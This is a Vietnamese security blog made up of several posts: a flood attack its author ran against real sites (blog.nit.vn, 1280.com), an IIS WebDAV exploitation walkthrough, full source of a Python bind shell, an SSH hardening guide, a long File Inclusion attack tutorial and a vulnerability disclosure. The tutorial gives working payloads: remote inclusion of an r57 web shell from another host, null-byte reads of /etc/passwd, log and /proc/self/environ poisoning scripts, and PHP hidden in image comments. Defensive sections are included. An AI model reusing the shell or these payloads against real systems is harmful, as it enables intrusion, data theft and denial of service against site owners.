Download nhạc từ các trang nhạc lớn của Việt Nam

Trong bài viết này tôi xin điểm lại các công nghệ mà VCcorp sử dụng trong các trang web lớn của mình.
Đây hoàn toàn là đánh giá dưới góc độ các nhân của tôi.
Các bạn có thể kiểm thử thêm happy

Các bạn hãy chú ý đến bản quyền của các phần mềm này, sẽ thú vị đấy, có nhiều cái nó yêu cầu ghi lại bản quyền ở dưới mỗi site. Nhưng có những site thì ko big grin

admicro.vn : phần mềm miễn phí http://www.openx.org/

http://admicro.vn/INSTALL.txt




socvui.com
Sử dụng : mod Inferno + VBB + vBExperience

http://i-pro.vn
Sử dụng : http://www.drupal.org/

http://tratu.baamboo.com
Sử dụng : http://www.mediawiki.org

linkhay.com : Nhái theo trang digg.com
Sử dụng: Open Source http://www.pligg.com tất nhiên đã cải tiến thêm nhiều so với năm ngoái.

Có lẽ đây là một điển hình về ứng dụng mã mở và phần mềm tự do. Chúng ta nên học tập big grin

Còn tiếp tục cập nhật, các bạn bổ xung thêm nhé big grin

Chuyên mục: Linh tinh


Thông thường một form dữ liệu POST sẽ được bảo vệ bằng ảnh nhận dạng captcha. Nhưng form không có captcha thì dễ dàng flood (làm lụt) database của website một cách dễ dàng. Phần lớn website không để ý và quan tâm đến vấn đề này. Đây có thể là một điểm có thể DOS website, tăng xử lý IO của website, làm đầy dữ liệu database và ổ cứng --> một cách hạ gục site khá dễ dàng.
Hầu như bất kỳ site nào cũng có thể tìm thấy điểm khai thác này.
Tôi ví dụ một vài ví dụ đơn giản như : http://blog.nit.vn/ trang này sau khi tôi thử bằng 1 máy PC trong vòng 30 phút thì hosting hết dung lượng vì upload file và insert vào database gần 500.000 bản ghi mới --> site sau đó phải nâng cấp ngay ngày hôm sau (tiếc là ko chụp lại mấy hình demo)

Rất may là trong cái nóng lực mấy hôm nay, ngồi không biết làm gì thì thử site 1280.com (với tham vọng ra đúng thời cơ blog 360 yahoo đóng cửa để hút thành viên big grin)
Nói thực là các site mạng xã hội VN tôi chưa thấy trang nào có một kiến trúc nền tảng tốt (trừ 1 trang sắp ra big grin)
Lỗi rất sơ đẳng như trên nếu để DOS attack thực sự thì trang này đi ngay lập tức.
Đây chỉ là những hình ảnh demo cho thấy để dàng có thể flood trang này.














Ví dụ một đoạn code exploit đơn giản thêm 1000 bài viết có chèn ảnh con chuột như ở trên.





Post một tí tẹo là dc 1000 bài big grin



Hy vọng các bạn để ý đến vấn đề này hơn happy
Chuyên mục: Bảo mật | Hack


Web-based Distributed Authoring and Versioning (hay WebDAV) là thành phần mở rộng của IIS cho phép người sử dụng có thể quản lý file (xóa, chỉnh sửa, …) trên máy chủ web. Lỗ hổng này xảy ra trong quá trình xử lý ký tự unicode %c0%af (Unicode / character).
Cho phép kẻ tấn công có thể vượt qua cơ chế bảo vệ để liệt kê thư mục, file; đọc file, tạo file,...

Lỗ hổng này mới được phát hiện và chưa có bản vá. Theo nghiên cứu của chúng tôi lỗ hổng này thuộc loại nguy hiểm.
Tại Việt Nam đã có nhưng site bị tấn công đầu tiên như anhso.net (23/05) (có video demo).
Chúng tôi cũng phát hiện nhiều server quan trọng của các bộ ngành, doanh nghiệp, các cơ quan ... bị lỗ hổng này.

Tôi xin tóm tắt lộ trình lỗ hổng này như sau :
Lỗ hổng này được phát hiện ngày 12-05-2009 bởi Kingcope
Ngày 15-04-2009 được đưa lên Milw0rm.com : http://milw0rm.com/exploits/8704
Ngày 18-05-2009 : CVE đưa ra cảnh báo, Microsoft cũng chính thức đưa ra cảnh báo lỗi này.
Ngày 20-05-2009 : có hướng dẫn cách khai thác đầu tiên http://www.skullsecurity.org/blog/?p=285
Ngày 21/22-05-2009 : có 2 exploit trên milw0rm : exploit bằng cadaver pathed (1 client của WebDAV chạy trên linux), exploit bằng php

Exploit it!

Các bước tấn công được mô tả kỹ trong tài liệu WebDAV Detection, Vulnerability Checking and Exploitation gồm 3 bước chính:
- Phát hiện server chạy WebDAV
Dùng nmap để quét hoặc một số chương trình quét bảo mật như Acunetix (windows)...
Lưu ý :phiên bản tối thiểu là 4.85 và có cài thêm script http-iis-webdav-vuln hướng dẫn dùng nmap để quét (làm theo đúng tài liệu này)
- Phát hiện server bị lỗi : xử dụng nmap
- Khai thác (exploit)
Dùng cadaver hoặc exploit php ở trên

Hình ảnh scan bằng nmap

Hình ảnh minh họa list file và đọc file với lỗ hổng webdav dùng client cadaver



Khắc phục

Hiện tại chưa có bản vá nên cần tắt webdav đi.
vào IIS --> Local Computer -->Web Service Extension --> tắt WebDav

Hoặc:

Start > Run > regedit
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameter.
DisableWebDAV --> 1

Chuyên mục: Bảo mật | Hack | Linux


This is a Simple Python remote command (Simple python shell - SPyShell) with password protected happy

#!/usr/bin/env python
# Simple python shell by Pham Duc Hai (duchaikhtn@gmail.com)
# http://guru.net.vn
import socket
import os
import commands

host = ''
port = 2009
password = 'secretcode'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(1)

print "Server is running on port %d; press Ctrl-C to terminate." % port

clientsock, clientaddr = s.accept()
clientfile = clientsock.makefile('rw', 0)
clientfile.write("SPyShell by Pham Duc Hai\n")
clientfile.write("Welcome, " + str(clientaddr) + "\n")

while 1:

clientfile.write("Please enter password: ")
line = clientfile.readline().strip()
if line == password:
clientfile.write('\n\r# ')
while 1:
line = clientfile.readline().strip()
if line == "exit":
clientfile.close()
clientsock.close()
output = commands.getstatusoutput(line)
for i in output:
clientfile.write(i)
clientfile.write('\n\r# ')
else:
clientfile.write('Wrong password!\n\r')

Download :

SpyShell.txt (1,11 KB)

SpyShell.zip (,65 KB)
Chuyên mục: Hack | python


 Bảo mật SSH với chứng thực khóa công khai / khóa riêng (Secure SSH with Public/Private key authentification)

SSH là một công cụ tuyệt vời, không một quản trị hệ thống nào có thể bỏ qua. Sử dụng SSH bạn có thể kết nối tới máy chủ và làm tất cả mọi việc với no.
Bài viết này tôi tập trung vào việc giới thiệu : làm sao tạo và sử dụng Public/Private key trong truy cập qua giao thức SSH.
Đây là kỹ thuật khá cơ bản nhưng tỏ ra cực kỳ hiệu quả, mang lại sự an toàn cao đối với hệ thống của bạn.
Sử dụng Public/Private key authentification bạn có thể tránh được:
- tấn công dò mật khẩu (bruce password scan)
- bảo vệ mật khẩu root

Trong các bản phân phối hiện nay hầu hết đều được tích hợp sẵn OpenSSH. Phiên bản SSH hiện nay là SSH2. SSH2 khác nhiều so với SSH1 và an toàn hơn.

1. Sinh khóa công khai và khóa riêng (Generating a Public/Private Key Pair)
Việc sinh khóa này bạn có thể thực hiện trên máy cá nhân hoặc thực hiện trên máy server. Có thể dùng công cụ hay dùng chính công cụ sinh khóa của ssh. Điều quan trọng nhất là : bạn phải giữ bí mật khóa riêng của bạn. (vì sao thì bạn có thể tìm hiểu lý thuyết vầ khóa công khai)
Cú pháp :

ssh-keygen -t rsa -b 2048 -f /root/.ssh/guru_rsa_key -C "Guru Server" -N "Password"


Các tham số:
-t : loại mã hóa
-b : kích thước của khóa
-f : đầu ra của file sinh ra
-C : comment
-N : Khóa phiên (passphrase)

Sau khi tạo xong khóa bạn sẽ nhận được 2 file: guru_rsa_key và guru_rsa_key.pub
Cả 2 file này bạn nên lưu giữ cẩn thận, đặc biệt là file guru_rsa_key là khóa riêng của bạn.

2. Thêm khóa công khai vào danh sách khóa cho phép của server

Copy file vào thư mục ~/.ssh/ của server. Nếu bạn tạo khóa trên server thì nên xóa file khóa riêng đi. Nếu bạn tạo từ máy trạm thì chỉ cần upload file khóa công khai lên thư mục trên của server.
Tiếp theo cần thêm khóa này vào danh sách khóa công khai của server.
File danh sách khóa này là file : ~/.ssh/authorized_keys hoặc ~/.ssh/authentication.
Cú pháp :
echo "KEY" >> ~/.ssh/authorized_keys
cat guru_rsa_key.pub >> ~/.ssh/authorized_keys

3. Kích hoạt và sử dụng khóa công khai và khóa riêng

Mở file config của ssh thường là : /etc/ssh/sshd_config
Sửa các tham số :
PubkeyAuthentication yes

tắt chức năng đăng nhập từ xa bằng mật khẩu:
PasswordAuthentication no

Khởi động lại sshd hoặc reload lại.

service sshd restart
hoặc
/etc/init.d/sshd restart
/etc/init.d/sshd reload

Lưu ý : nếu bạn đang làm với server remote thì khi reload lại không nên đóng hết các kết nối, nếu có lỗi bạn sẽ mất các kết nối tư xa (lúc này mà lọ mọ chạy đến chỗ server thì mệt lắm big grin )

Tham khảo :
http://en.wikipedia.org/wiki/Secure_Shell
http://www.openssh.com

Goodluck!

Chuyên mục: Bảo mật | Linux


Trong vấn đề bảo mật web, kiểu khai thác lỗi File Include là một trong những lỗi nguy hiểm nhất. Lỗi này đã được biết đến từ lâu song hiện nay vẫn cực kỳ phổ biến. Vậy lỗi này như thế nào ? Vì sao bị lỗi ? Cách khai thác và phòng chống ra sao ?

Kiến thức bạn nên trang bị để hiểu bài này sâu hơn:

  • Lập trình PHP

  • Cơ bản về Apache

  • Cơ bản về Linux

Include theo tiếng Việt tạm dịch là bao gồm. Trong lập trình PHP có lệnh là include, require, require _ once, include _ once cho phép file hiện tại gọi đến một file khác.

Tùy thuộc vào mức độ bảo mật của server, kẻ tấn công có thể include file trên chính máy chủ đó (include local) hay include đến một file ở máy khác (include remote). Mục đích của kẻ tấn công là chạy được các hàm hệ thống và thu thập các thông tin nhạy cảm của hệ thống. Tất cả công việc trên kẻ tấn công có thể đạt được khi chạy được web shell (hay còn gọi là web hack tool) như c99shell, r57shell, …

Kẻ tấn công có web shell trong tay sẽ đọc được tất cả các file trong website đang chạy shell đó. Nếu server kém bảo mật thì kẻ tấn công có thể đọc được file của toàn bộ hệ thống, file của các website khác trên cùng máy chủ đó. Lỗi này hay được tấn dụng để tấn công local hack : kiểu tấn công máy chủ, website qua một site bị lỗi trên máy chủ. Nếu có quyền ghi, tất cả các file có thể bị thay đổi: deface trang chủ, chèn mã độc để thu thập thông tin đăng nhập, ẩn dấu backdoor để lần sau vào tiếp,… Kẻ tấn công cũng có thể lấy thông tin truy nhập cơ sở dữ liệu (database) qua file cấu hình của website, sau đó truy nhập vào cơ sở dữ liệu : ăn trộm dữ liệu, xóa, thay đổi dữ liệu,… Trong trường hợp này, cơ sở dữ liệu là MySql cho phép sử dụng hàm loadfile, thì kẻ tấn công có thể tận dụng để đọc file từ hệ thống và file của các site khác qua MySql bằng lệnh LOAD DATA LOCAL INFILE.

Ví dụ đoạn mã PHP include file:

<?php

include("config.php");

?>

Khi khai thác kẻ tấn công có thể include trực tiếp như trên hoặc có thể include một cách mềm dẻo như sau:

 

<?php

include($page);

?>

Khi đó nếu tham số register_globals trong file php.ini được đặt On thì biến $page sẽ là biến toàn cục, có thể gọi đến nó từ bất kì trang nào.

Nếu biến $page được sử dụng như sau: $ _ GET['page'], $ _ POST['page'], $ _ REQUEST['page'] hoặc $_COOKIE['page']

Khi đó $page sẽ có thể được gọi từ trình duyệt để include hoặc đọc file.

Ví dụ đọc file test.html : index.php?page = test.html

Hình 1. Include file từ server khác

 

Hình ảnh dưới đây minh họa việc đọc file boot.ini trên máy chủ windows thông qua biến script.

Hình 2. Include file từ server chủ

 

Các hàm có thể tận dung để khai thác include, require, require _ once, include _ once. Về cơ bản require và include giống nhau, chỉ có một điểm khác là nếu file không tồn tại thì có lỗi fatal-error và script dừng lại,không chạy tiếp.

Cách tìm lỗ hồng file includesion

Có 2 phương pháp để tìm ra lỗi này : kiểm thử hộp đen (Black- Box Testing) và kiểm thử hộp trắng (White-Box Testing).

 

Kiểm thử hộp trắng

Khi bạn có thể xem toàn bộ source code, áp dụng đối với phần mềm của bạn viết, phần mềm mã mở, phần mềm ai nhờ bạn test hộ,… Có thể có các chương trình để quét code hoặc bạn cũng có thể tự viết một đoạn mã làm việc này, thủ công nhất là tự dò bằng các trình soạn thảo thông dụng. Tìm các dòng có cú pháp tương tự như include($page) , điểm lưu ý là biến $page phải chưa được khởi tạo hoặc gán giá trị thì mới có lỗ hổng include file.

Một vài hình ảnh về shell c99, r57 (2 tool phổ biến nhất khi hack web với PHP):

Hình 3 . Hình ảnh hack tool shell c99

Hình 4. Hình ảnh hack tool shell r57

Ở 2 hình trên có thể thấy server chưa có bất kỳ một cấu hình bảo mật nào do đó qua web shell có thể truy nhập đến bất kỳ phần nào của hệ thống, thậm chí chạy được các lệnh hệ thống, hay mở các cổng để truy nhập từ xa vào hệ thống. Ví dụ mở cổng 2009 và telnet từ xa vào.

Hình 5. Công cụ bind port của r57

Hình 6. Kết nối vào sau khi bind port

 

Kiểm thử hộp đen

Kiểm thử hộp đen sử dụng khi bạn không có mã nguồn của mục tiêu, cũng hoàn toàn giống như khi attacker tấn công một hệ thống nào đó, chỉ có thể nhìn từ bên ngoài, đó cũng là lý do vì sao được gọi là hộp đen.

Phương pháp là thử các dữ liệu đầu vào, bất kỳ dữ liệu nào, khi ứng dụng bắn ra lỗi là bạn có thêm thông tin. Để có thể tìm ra lỗi thì có thể kiểm thử bằng công cụ quét, kiểm thử “bằng tay”. Theo kinh nghiệp của tôi, đối với lỗi này các chương trình quét tỏ ra rất kém hiệu quả, với người có kinh nghiệm thì lỗi này đôi khi chỉ cần lướt qua website một vài lần cũng có thể nhận thấy được.

Ví dụ bạn thấy có các link dạng: www.example.com/index.php?page=downloads.html như vậy sẽ rất có khả năng là biến page có lỗi inlcude file, bạn cần thử cụ thể hơn bằng cách đọc thử các file khác.

Hình 6. Đọc file /etc/passwd qua lỗi include

Ví dụ : www.example.com/index.php?page=otherfile.html ,... nếu nhận được lỗi

Warning:

include(otherfile.html) [function.include]: failed to open stream: No such file or directory in /home/site/public_html/ index.php on line x.

Thì có nghĩa là file đó không tồn tại.

Một trong các file có thể dùng để kiểm tra và có thêm thông tin là robots.txt.

Hình 7. Đọc file qua lỗi include

 

 

Tìm lỗi qua các máy tìm kiếm

  • Có thể trực tiếp tìm thông tin về lỗi của mục tiêu qua các trang tìm kiếm hay qua các trang thông báo lỗi như http://www.milw0rm.com nếu đã biết tên phần mềm trang web mục tiêu dùng.

Hình 8. Trang milw0rm.com



  • Dùng Google CodeSearch

Cú pháp : lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)

Hình 9. Tìm lỗi qua Google Code Search

Null-Byte

Trong một số trường hợp include được dùng như sau:

include($page.".html");

Khi đó chỉ các file .html mới được include, vậy làm sao để đọc được file khác?

Null-byte sẽ cho phép đọc file khác bằng cách thêm null byte vào cuối file cần đọc.

Đọc file /etc/passwd

index.php?page =/ etc/passwd%00

Khi đó include("/etc/passwd.html"); trở thành include("/etc/ passwd");

Tuy nhiên không phải lúc nào nul-bite cũng có tác dụng, tùy thuộc webserver, code,…



Khai thác lỗ hổng (Exploiting)

Khi phát hiện ra lỗi làm sao có thể khai thác được? Phần trên phần nào bạn cũng đã nhận thấy một số cách khai thác. Về cơ bản có hai kiểu khai thác là inclde file từ máy chủ khác (RFI – Remote file include), include file từ chính máy chủ lỗi (LFI – Local file include).

Remote file include (RFI)

Khi bị lỗi này tức là tham số register_globals=On, với lỗi này người không cần có nhiều kiến thức về lập trình cũng dễ dàng khai thác được thông tin. Kẻ tấn công chỉ cần đặt file web hack tool trên một máy chủ nào đó (thường là host miễn phí) và include qua lỗi.

http://lab.vnsecurity.vn/index.php?page=http://remote.vnsecurity.vn/r57.txt

File được include vào là file r57.txt từ host remote.vnsecurity.vn. Kết quả tham khảo hình 1.

Local file include (LFI)

Nếu tham số allow_url_fopen trong file php.ini đặt là Off thì sẽ không thể thực hiện include file từ máy chủ khác. Khi đó chỉ khai thác được dạng include trên cùng máy chủ, cũng tùy cấu hình server an toàn hay không mà attacker có thể đọc được file ngoài thư mục của website có lỗi. Khi đó để có thể khai thác tốt cần có một web shell trên máy chủ, làm sao để có được web shell? Có thể có nhiều cách nhưng đòi hỏi người khai thác phải có kinh nghiệm và hiểu biết về PHP, apache, Linux. (Trên Windows cũng tương tự nhưng có một số điểm khác, tôi không trình bày ở tài liệu này).

Một trong các điểm quan trọng trong khai thác LFI là đọc các file nhạy cảm của hệ thống, website. Một số file quan trong đối với hệ điều hành Linux /etc/passwd, /etc/group, httpd.conf,…

File /etc/passwd chứa thông tin về tài khoản của hệ điều hành. Attacker có thể lấy tên tài khoản và đùng hình thức dò quét mật khẩu, thường là Brute force (dân lập trình thường gọi là duyệt trâu big grin). Nếu mật khẩu không được shadowed, thì password được mã hóa sẽ nằm luôn trong file /etc/passwd, có được file này attacker có thể có được mật khẩu bằng cách crack (dùng John the Ripper chẳng hạn). Còn nếu không mật khẩu mã hóa nằm trong /etc/shadow (có thể ở thư mục khác đối với các bản Linux và Unix).

Ví dụ cú pháp trong shadow :

guru:$1$OiD7e.JO$AGoOmlOsUK1XBw2qJcx4z0:14286:0:99999:7:::

File httpd.conf là file cấu hình của webserver Apache, fiel này chứa rất nhiều thông tin về hệ thống. Thông tin quan trọng đối với việc khai thác là error_log, access_log, DocumentRoot,…

Một số file quan trọng của website như .htaccess , file cấu hình chứa mật khẩu của database (thường là config.inc, configuration.php,…)

LFI cũng được dùng kết hợp với lỗi upload để có được web shell. Nếu lỗi upload file có thể up được trực tiếp web shell lên và chạy được thì không cần dùng đến LFI. Nhưng nếu có lỗi upload, chỉ upload được các file ảnh,… thì có thể tận dụng LFI. Việc cần làm là định vị ví trí file ảnh nhiệm vụ này khó hay không tùy thuộc kinh nghiệm tường người big grin.

Trong việc upload ảnh lên cũng có rất nhiều kiểu tùy thuộc code của chương trình upload. Nếu chỉ lọc đuôi file thì đơn giản bạn chỉ cần đổi tên web shell từ .php sang đuôi của ảnh .jpg chẳng hạn. Nếu chương trình upload kiểm tra xem có đúng là ảnh không thì làm sao để chèn code PHP vào file ảnh ? Phần dưới tôi sẽ nói về chèn code vào file ảnh mà vẫn là file ảnh thực sự.

Hình 10. Include code PHP từ file ảnh

Ẩn code PHP và cách dấu shell

Có nhiều chỗ có thể ẩn code PHP như trong chính file PHP, file log, file ảnh hay bất kỳ file gì.

Chèn PHP vào ảnh

Như ở trên tôi đã nói chèn code PHP vào ảnh để làm gì ? Ở đây chèn code PHP vào file ảnh mà file ảnh đó vẫn là một file ảnh thực sự. Vậy chèn code PHP vào phần nào của ảnh ? Ta sẽ thêm code PHP vào phần comment của ảnh, tuy nhiêm phần này không chứa được nhiều code php, nếu shell quá lớn sẽ không được, do đó phần này thường chèn đoạn mã ngắn như shell command, upload form,…

Có 2 chương trình phổ biến để chèn code PHP vào ảnh là :

+ edjpgcom.exe dùng cho Windows

Download : http://guru.net.vn/content/binary/edjpgcom.zip

Hình 11. Giao diện edjpgcom


Hình 12. File ảnh sau khi đã thêm code PHP, không có gì thay đổi

Hình 13. Kết quả include file ảnh có chứa code upload

+ jhead cho Linux và Windows

Download : http://freshmeat.net/projects/jhead/

Hình 14. Hình ảnh jhead


Hình 15. Chạy hàm hệ thống qua code chèn trong ảnh

Code PHP trong logfil

Mỗi một website khi chạy, toàn bộ thông tin truy cập, lỗi,… sẽ được máy chủ lưu lại. Log truy cập thông thông thường được gọi là log truy cập của site. Ngoài ra có lỗi khác đối với webserver được lưu trong file access_log, error_log (tên file này là mặc định, có thể đổi tên khác trong httpd.conf).

Ví dụ minh họa dưới đây cho thấy việc chèn code /<?php echo phpinfo();?> vào file log.

Tạo 1 file fopen.php như sau:

<?php

$res = '';

$fp = fsockopen('127.0.0.1', 80);

if(!$fp){

echo "No connection";

}

fputs($fp, "GET /<?php echo phpinfo();?> HTTP/1.1\r\n");

fputs($fp, "Host: 127.0.0.1\r\n\r\n");

while(!feof($fp)){

$res .= fgets($fp, 128);

include($_GET['page'].".php");

}

echo $res;

?>


Hình 16. Tạo request lỗi

Hình 17. File log ghi nhận lỗi có chứa mã PHP



Hình 18. Include file log


Code PHP trong file text

Trong một vài trường hợp một số phần của website lưu dữ liệu ra file text ví dụ như maillist, blogroll,..

Thường thì phần này sẽ lưu thông tin người dùng thông thường có thể thêm vào. Khi đó có thể chèn code PHP vào các file này. Việc còn lại là định vị file này. Để làm được điều đó cần quan tâm đến một số file như .htacces, file config của site,…

Ví dụ đoạn code lỗi:

<?php

echo '<form method="POST">';

echo 'E-Mail Address';

echo '<input name="email">';

echo '<input type="submit" name="submit">';

echo '</form>';

if(isset($_POST['submit'])){

$data = $_POST['email'];

$fp = fopen("data.txt","a+");

$wr = fwrite($fp,$data);

fclose($fp);

}

?>

File dữ liệu là file data.txt, có thể tận dụng file này để khai thác.


Kết hợp file include và SQL Injection

Với một số phần mềm hiện nay, hay có thêm phần module phát hiện những tấn công thông dụng như SQL injection. Ví dụ với CMS PHP-Nuke có đoạn code như sau :

<?

$REQ = print_r($_REQUEST,true);

$ip = 'IP: '.$_SERVER['REMOTE_ADDR'];

$time = 'Date: '.date("d.m.y - H:i:s");

$ref = 'Referer: '.$_SERVER['HTTP_REFERER'];

$browser = 'Browser: '.$_SERVER['HTTP_USER_AGENT'];

if(eregi('UNION',$REQ) && eregi('SELECT',$REQ)){

$fp = fopen("attacks.txt","a+");

fwrite($fp,"$REQ\n $ip\n $time\n $browser\n $ref\n");

fclose($fp);

header('Location: http://www.google.com');

}

?>

Khi đó các request từ trình duyệt có từ UNION và SELECT thì sẽ ghi lại toàn bộ URL request,.. vào file attacks.txt.

Như vậy có thể chèn mã PHP vào file đó như sau:

http://www.example.com/index.php?id= UNION SELECT <?php echo phpinfo(); ?>


Code PHP trong /proc

/proc là một thư mục cho phép giao tiếp giữa nhân hệ điều hành (kernel) với với người dùng của hệ điều hành (user). Tất cả các file trong /proc không có trên đĩa cứng nó tồn tại trong RAM.

Trong phần này có thể lợi dụng để chèn code qua Referer, phần code này sẽ được lưu trong file nằm trong thư mục có tên trùng với process ID Apache đang chạy site đó. Tìm được file này cũng có thể include được.

Code minh họa:

<?php

$res = '';

$fp = fsockopen('www.lab.vnsecurity.com', 80);

if(!$fp){

echo "hi!.";

}

fputs($fp, "GET /index.php?page=/proc/self/environ HTTP/1.1\r\n");

fputs($fp, "Referer: <?php echo phpinfo(); ?>\r\n");

fputs($fp, "Host: www.lab.vnsecurity.com\r\n\r\n");

while(!feof($fp)){

$res .= fgets($fp, 128);

}

echo $res;

?>

Cách chống tấn công File Inclusion

Quan phần trên bạn đã có thể hình dung lỗi như thế nào, tấn công ra sao? Vậy làm gì để chống lại các tấn công inlude file?

Về cơ bản có 2 việc phải làm:

  • Server an toàn

  • Lập trình an toàn (cái này rất quan trọng vì code có thể triển khai ở nhiều server)

Server an toàn

Để có một server an toàn không hề đơn giản nó đòi hỏi bạn phải hiểu về các cái mình cài đặt và có kinh nghiệm về bảo mật cũng như quản trị. Phần này tôi chỉ nói các phần liên quan đến file include thôi.

  • Trong php.ini đặt các tham số allow_url_fopen=Off (allow_url_fopen=Off) , register_globals=Off, Safe_mode=On, display_error=Off

  • Đặt quyền cho các thư mục hợp lý

Lập trình an toàn

  • Bắt lỗi chặt chẽ

  • Bất cứ biến nào cũng cần khởi tạo

  • Sử dụng đường dẫn tuyệt đối

Một ví dụ code chặt chẽ:

<?php

$whitelist = array('index.html', 'downloads.html', 'info.html');

$page = $_GET['page'];

if(in_array($page,$whitelist)){

include($page);

}else{

die("Attack attempt");

}

?>

Cuối cùng, chúc bạn có hiểu biết về file include và có phát hiện và ngăn chặn các tấn công kiểu này.

Goodluck!

Tham khảo : hakin9, http://www.milw0rm.com/papers/232 , http://www.owasp.org


Tác giả:

Phạm Đức Hải

http://guru.net.vn

Also post : VnSecurity.vn Tấn công File Inclusion (File Inclusion Attacks)

Chuyên mục: Bảo mật | Hack | Linux | PHP


Theo khảo sát của VnSecurity qua bản demo trực tuyến http://demo.vanphongdientu.com.vn , chúng tôi nhận thấy hệ thống này tồn tại ít nhất 3 lỗ hổng cho phép hacker tấn công trực tiếp vào hệ thống. Sau khi tấn công kẻ tấn công có thể lấy toàn bộ thông tin của hệ thống bao gồm dữ liệu file, cơ sở dữ liệu thậm chí có được cả quyền quản trị đối với toàn bộ máy chủ.

Đặc biệt đây là sản phẩm dùng cho doanh nghiệp với tất cả nghiệp vụ văn phòng, công văn, giấy tờ, thư điện tử ... hacker có thể lợi dụng lỗ hổng này để lây trộm thông tin bí mật của doanh nghiệp.

 Danh sách doanh nghiệp, tổ chức sử dụng sản phẩm này: 

  1.  Ngân hàng TMCP Xuất Nhập Khẩu Việt nam (EXIMBANK- 1500 Thành viên)
  2. Tập đoàn Đại Dương (OCEAN BANK, OCEAN MEDIA , OCEAN SECURITIES, OCEAN TECHNOLOGY, OCEAN LEASING , OCEAN CAPITAL , OCEAN HYDROPOWER , OCEAN PARK - 500 Thành viên)
  3. Ngân hàng TMCP Việt Á (VIETABANK)
  4. Ngân hàng NN & PTNT Thành Phố Đà Nẵng  
  5. Ngân hàng TMCP Phương Nam
  6. Công ty Cổ phần đầu tư tài chính BIDV (BFC)
  7. Quỹ Đầu tư Phát triển Đô thị Thành phố Hồ Chí Minh (HIFU)
  8. Công ty Cổ phần Chứng khoán Việt Quốc
  9. Công ty Cổ phần Công nghệ Viễn thông VITECO (VNPT)
  10. Công ty Cổ phần Bảo hiểm Petrolimex (PJICO)
  11. Công ty Cổ phần Đầu tư Khoan Dầu khí - PVD Invest
  12. Trung tâm Nghiên cứu và Phát triển Chế biến Dầu khí(PVPro)
  13. Trung tâm thông tin tín hiệu đường sắt
  14. Tạp chí Cẩm nang Mua sắm
  15. Công ty TNHH Kế toán U & I
  16. Trung tâm Kỹ thuật và Sản xuất Chương trình - VTV
  17. Phòng thương mại PV DRILLING
  18. Sở GD & ĐT Hải Phòng
  19. Trường Đại học Hàng Hải Hải Phòng
  20. Công ty Cổ phần Đầu tư Xây dựng Quyết Tiến
  21. Công ty Cổ phần GENTRACO
  22. Công ty Cổ phần Truyền thông NBN
  23. Công ty Cổ phần Giao nhận và Vận tải Quốc tế Hải Khánh
  24. Công ty Cổ phần Cấp nước Phú Hoà Tân
  25. Công ty Xổ số Bình Dương
  26. Công ty Công nghệ Hoá chất mỏ 
  27. Viện Thổ nhưỡng và Nông hoá
  28. Tỉnh đoàn Phú Yên
  29. Phòng Kinh tế Đak Đoa - Gia lai
  30. Trung tâm TTKHCN - Sở KHCN - Đà Nẵng
  31. Công ty Cổ phần Sơn Hải Phòng
  32. Công ty Cơ khí & Xây dựng Đông Sơn
  33. Công ty Cổ phần Tư vấn Xây dựng và Dịch vụ Hàng không
  34. Công ty Cổ phần Công nghệ Điện tử Điện Lạnh Việt Nam (MISUSTAR)
  35. Công ty Cổ phần Xi măng Sài Gòn
  36. Tổng công ty cấp nước Sài Gòn
  37. Tổng công ty cơ khí Giao thông vận tải Sài Gòn – SAMCO
  38. Công ty Cổ phần TM-SX-DV Việt Thương
  39. Dự án Quỹ toàn cầu PCSR
  40. Chương trình ORBIS Việt Nam
  41. Viện Máy và Dụng cụ Công nghiệp - IMI
  42. Ban quản lý dự án điện -PC3 (Đà Nẵng)
  43. Công ty Cổ phần Đầu tư Điện lực 3 -PC3 Invest (Đà Nẵng)
  44. Chi nhánh Công ty Cổ phần Tư vấn Đầu tư Xây dựng GTVT (HCM)
  45. Công ty Cổ phần Nhựa Đồng Nai
  46. Công ty Quảng cáo Hatuba-Thanh Hóa
  47. Công ty Đầu tư và Phát triển Đa Phương - TpHCM
  48. Công ty TNHH Tư vấn BĐS Thương mại LIÊN MINH NGUYỄN (NAC Real Estate)
  49. Công ty Cổ Phần Tư Vấn Xây Dựng ACI
  50. Công ty Cổ phần Truyền thông và Máy tính Thánh Gióng
  51. Công ty SX và KD Ô tô Hoàng Mai - TpHCM
  52. Công ty Cổ phần Truyền thông Cuộc sống -Life Media
  53. HUONGVIET JSC - ASEAN TRAVEL & TOURS
  54. Công ty Cổ phần Siêu Chung Kỳ - HN
  55. ... 

 

Hiện tại chúng tôi đang liên hệ với cty VSS để thông báo về các lỗi này. 

Tham khảo thêm chi tiết về sản phẩm: 

Sản phẩm PortalOffice là GIẢI PHÁP VĂN PHÒNG ĐIỆN TỬ - PORTAL OFFICE 2009 của công ty VSS (http://www.vss.com.vn).

Giải pháp văn phòng điện tử Portal Office 2009 là phiên bản mới nhất dòng sản phẩm văn phòng điện tử - văn phòng trực tyến của VSS, tiếp theo phiên bản S-Office SE 2007 đã và đang được hàng trăm doanh nghiệp ứng dụng hiệu quả như EximBank, Tập đoàn Đại Dương, Ngân hàng Việt Á, Sở GD & ĐT Hải Phòng , Tổng công ty cấp nước Sài Gòn, …và đang dần trở thành một giải pháp văn phòng điện tử được ứng dụng nhiều nhất tại Việt Nam.

 

 

(theo http://www.vss.com.vn

 

 Các doanh nghiệp sử dụng sản phẩm này có nhu cầu về tư vấn bảo mật có thể liên hệ trực tiếp với chúng tôi. Chúng tôi luôn sẵn sàng.

Chuyên mục: Bảo mật


Nội dung không có gì đặc biệt so với mọi năm : báo cáo của VNCERT, E15,BKIS, VINASA,... + màn chào và giới thiệu giải pháp của các hãng.
Đặc biệt cái PKI năm nào cũng thấy trình bày, năm nay cũng đc nhắc lại big grin --> bó tay luôn, hị hị
Slide :
MorningConference.rar
Section1-NationalITinfrastructuresprotecting.rar
Section2-Protectingapplicationanddata–thefocusofenterpriseinInfoSec.rar

Mirror:

PS : Cảm ơn HaiAn happy

Chuyên mục: Bảo mật | Hack


